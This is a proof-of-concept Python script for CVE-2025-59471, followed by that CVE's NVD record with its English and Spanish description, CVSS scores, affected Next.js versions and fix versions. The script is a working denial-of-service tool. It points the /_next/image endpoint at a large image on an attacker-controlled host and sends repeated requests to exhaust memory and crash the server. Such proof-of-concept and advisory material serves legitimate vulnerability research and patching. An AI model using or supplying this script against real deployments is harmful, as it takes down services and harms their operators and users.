CVE-2025-59471

#!/usr/bin/env python3 """ CVE-2025-59471 PoC - Next.js Image Optimizer DoS via Large External Image This PoC demonstrates how an attacker can trigger OOM conditions by requesting Next.js to optimize an arbitrarily large external image through the /_next/image endpoint. Prerequisites: - Next.js app has remotePatterns configured to allow the attacker's domain - The attacker can host/serve a large image file on an allowed domain Usage: 1. Host a large image file on an allowed domain (e.g., attacker.com/large.jpg) 2. Run this script to send optimization requests """ import requests import sys import time import argparse def generate_large_image_url(base_url, width=800): """Generate the /_next/image optimization URL for a large external image.""" # Replace this with an actual large image URL allowed by remotePatterns large_image_url = "http://attacker-controlled-server/large_image.jpg" params = { "url": large_image_url, "w": str(width), "q": 80 } target = f"{base_url}/_next/image" return target, params def send_optimization_request(base_url, num_requests=5, delay=1): """ Send multiple /_next/image optimization requests to exhaust server memory. """ target, params = generate_large_image_url(base_url) print(f"[*] Target: {target}") print(f"[*] Image URL: {params['url']}") print(f"[*] Sending {num_requests} optimization requests...\n") for i in range(num_requests): try: print(f"[Request {i+1}/{num_requests}] Sending optimization request...") response = requests.get(target, params=params, timeout=30) print(f" Status: {response.status_code}") if response.status_code == 200: print(f" Response size: {len(response.content)} bytes") except requests.exceptions.RequestException as e: print(f" [!] Request failed: {e}") print("[*] Server may have crashed or run out of memory!") return time.sleep(delay) print("\n[+] Attack completed. Check server memory usage.") print("[*] If server memory was exhausted, the Next.js process may have crashed.") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-59471 PoC") parser.add_argument("--url", default="http://localhost:3000", help="Target Next.js base URL") parser.add_argument("--requests", type=int, default=5, help="Number of requests to send") parser.add_argument("--delay", type=float, default=1.0, help="Delay between requests (seconds)") args = parser.parse_args() send_optimization_request(args.url, args.requests, args.delay)

{"cve": {"id": "CVE-2025-59471", "sourceIdentifier": "[email protected]", "published": "2026-01-26T22:15:52.890", "lastModified": "2026-02-13T15:03:20.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial of service vulnerability exists in self-hosted Next.js applications that have `remotePatterns` configured for the Image Optimizer. The image optimization endpoint (`/_next/image`) loads external images entirely into memory without enforcing a maximum size limit, allowing an attacker to cause out-of-memory conditions by requesting optimization of arbitrarily large images. This vulnerability requires that `remotePatterns` is configured to allow image optimization from external domains and that the attacker can serve or control a large image on an allowed domain.\r\n\r\nStrongly consider upgrading to 15.5.10 or 16.1.5 to reduce risk and prevent availability issues in Next applications."}, {"lang": "es", "value": "Una vulnerabilidad de denegación de servicio existe en aplicaciones Next.js autoalojadas que tienen `remotePatterns` configurado para el Optimizador de Imágenes. El endpoint de optimización de imágenes (`/_next/image`) carga imágenes externas completamente en memoria sin aplicar un límite de tamaño máximo, permitiendo a un atacante causar condiciones de falta de memoria al solicitar la optimización de imágenes arbitrariamente grandes. Esta vulnerabilidad requiere que `remotePatterns` esté configurado para permitir la optimización de imágenes desde dominios externos y que el atacante pueda servir o controlar una imagen grande en un dominio permitido.\n\nConsidere encarecidamente actualizar a 15.5.10 o 16.1.5 para reducir el riesgo y prevenir problemas de disponibilidad en aplicaciones Next."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "15.5.10", "matchCriteriaId": "62058253-F46E-44D1-B50A-F15BC93CF928"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.1.5", "matchCriteriaId": "4A242736-494D-4C26-AB21-188C2E2F39FF"}]}]}], "references": [{"url": "https://github.com/vercel/next.js/security/advisories/GHSA-9g9p-9gw9-jx7f", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}